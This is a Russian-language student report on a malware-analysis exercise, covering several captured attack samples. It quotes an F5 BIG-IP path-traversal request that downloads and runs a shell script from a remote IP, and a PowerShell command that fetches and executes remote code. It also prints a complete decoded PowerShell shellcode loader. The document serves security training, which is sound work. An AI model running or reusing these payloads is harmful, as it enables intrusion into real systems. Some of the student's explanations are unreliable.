---
# System prepended metadata

title: Отчёт по Пр. Заданию 1
tags: [2-nd Stage]

---

# Отчёт по Пр. Заданию 1

###### tags: `2-nd Stage`

### №1

1.

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget
http://136.144.41.3+igipdmcdmsklcmk\ohsitsvegawellrip.sh ; chmod 777 ohsitsvegawellrip.sh ; sh ohsitsvegawellrip.sh ; wget https://https:\\iplogger.org"FGVP5 HTTP/1.1

Происходит загрузка некого файла скрипта для linux (ohsitsvegawellrip.sh) лежащего на http://136.144.41.3 (создан (согласно сервису whois): 2021.03.02 17:14:32 MSK) 
Команда chmod 777 (всем разрешено все) для скачанного скрипта
Далее команда запуска скачанного скрипта sh
Далее скачивание файла через сервис сокращения ссылок.

Судя по Host: это скорее всего ip VPN-а
Connection: keep-alive устанавливает постоянное http соединение
Accept-Encoding: просто устанавливает алгоритм сжатия. Малоинтересная информация.
Accept: разрешение любых расширений файлов
User-Agent: Запрос поступил от Python

2.

Установление постоянного http-соединения через python для скачивания через сервис сокращения ссылок и запуска скриптов.

3.

Сервис сокращения ссылок, Python, Установление постоянного http-соединения для скачивания и запуска скриптов

4.

Чтобы это понять, надо посмотреть на responce

### №2

1.

Invoke-Expression - Запускает команды или выражения на локальном компьютере.
Для скрытия какой именно код запускается злоумышленник (очевидно) постарался разбить символы на Числовые значения Char символов текста.

2.

Сложно понять. Возможно скачивание и запуск удалённого скрипта.

### №3

Файл conhost должен быть в C:\Windows\System32 а не C:\Windows\Prefetch\CONHOST.EXE-1F3E9D7E.pf
Командная строка conhost.exe 0xffffffff -ForceV1 имеет значение, ForceV1 запрашивает информацию прямо из пространства ядра, conhost подключается к консольному приложению.
Powershell запускается с флагом -encodedCommand и расшифровав строку можно видеть скачивание файла .ico IEX (New-Object System.Net.WebClient).DownloadString('http://omni-consumer-pr0ducts.tk/favicon.ico'); (Казалось бы зачем шифровать скачивание иконки)
Файл VERCLSID находится должен C: \ Program Files \ Microsoft \ Windows 7 Home Premium \ verclsid.exe. а не  C:\Windows\Prefetch\VERCLSID.EXE-CD081540.pf 
Судя по всему это некий вредоносный скрипт встроенный в документ MS Word

### №4



Вышло через расшифровку gzip
<code>    
function urg {Param ($x7, $zBH)$wLLcB = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        return $wLLcB.GetMethod('GetProcAddress', Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($wLLcB.GetMethod('GetModuleHandle')).Invoke($null, @($x7)))), $zBH))}
function svcU {        Param (                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $wKIxn,                [Parameter(Position = 1)] [Type] $sw = [Void])
        $bFyWj = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $bFyWj.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $wKIxn).SetImplementationFlags('Runtime, Managed')
        $bFyWj.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $sw, $wKIxn).SetImplementationFlags('Runtime, Managed')
        return $bFyWj.CreateType()}
[Byte[]]$mkuA = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSSDHSUVZlSItSYEiLUhhIi1IgTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGFBEi0AgSQHQ41ZNMclI/8lBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFRCp4DA0FUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
[Uint32]$miS = 0
$cP = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll VirtualAlloc), (svcU @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $mkuA.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($mkuA, 0, $cP, $mkuA.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll VirtualProtect), (svcU @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($cP, [Uint32]$mkuA.Length, 0x10, [Ref]$miS)) -eq $true) {
        $voWO = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll CreateThread), (svcU @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cP,[IntPtr]::Zero,0,[IntPtr]::Zero)        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll WaitForSingleObject), (svcU @([IntPtr], [Int32]))).Invoke($voWO,0xffffffff) | Out-Null}
    
</code>

### №5

Определите:  
1. К какому семейству принадлежит данное ВПО?  
2. Перечислите имена всех файлов, которые могли быть загружены на компьютер с помощью данного скрипта.  
   TIP: Поисковиком можно пользоваться

FromBase64String не расшифровывает алгоритм Base64 (Кракозябры)

### №6

FromBase64String не расшифровывает алгоритм Base64 (Кракозябры)



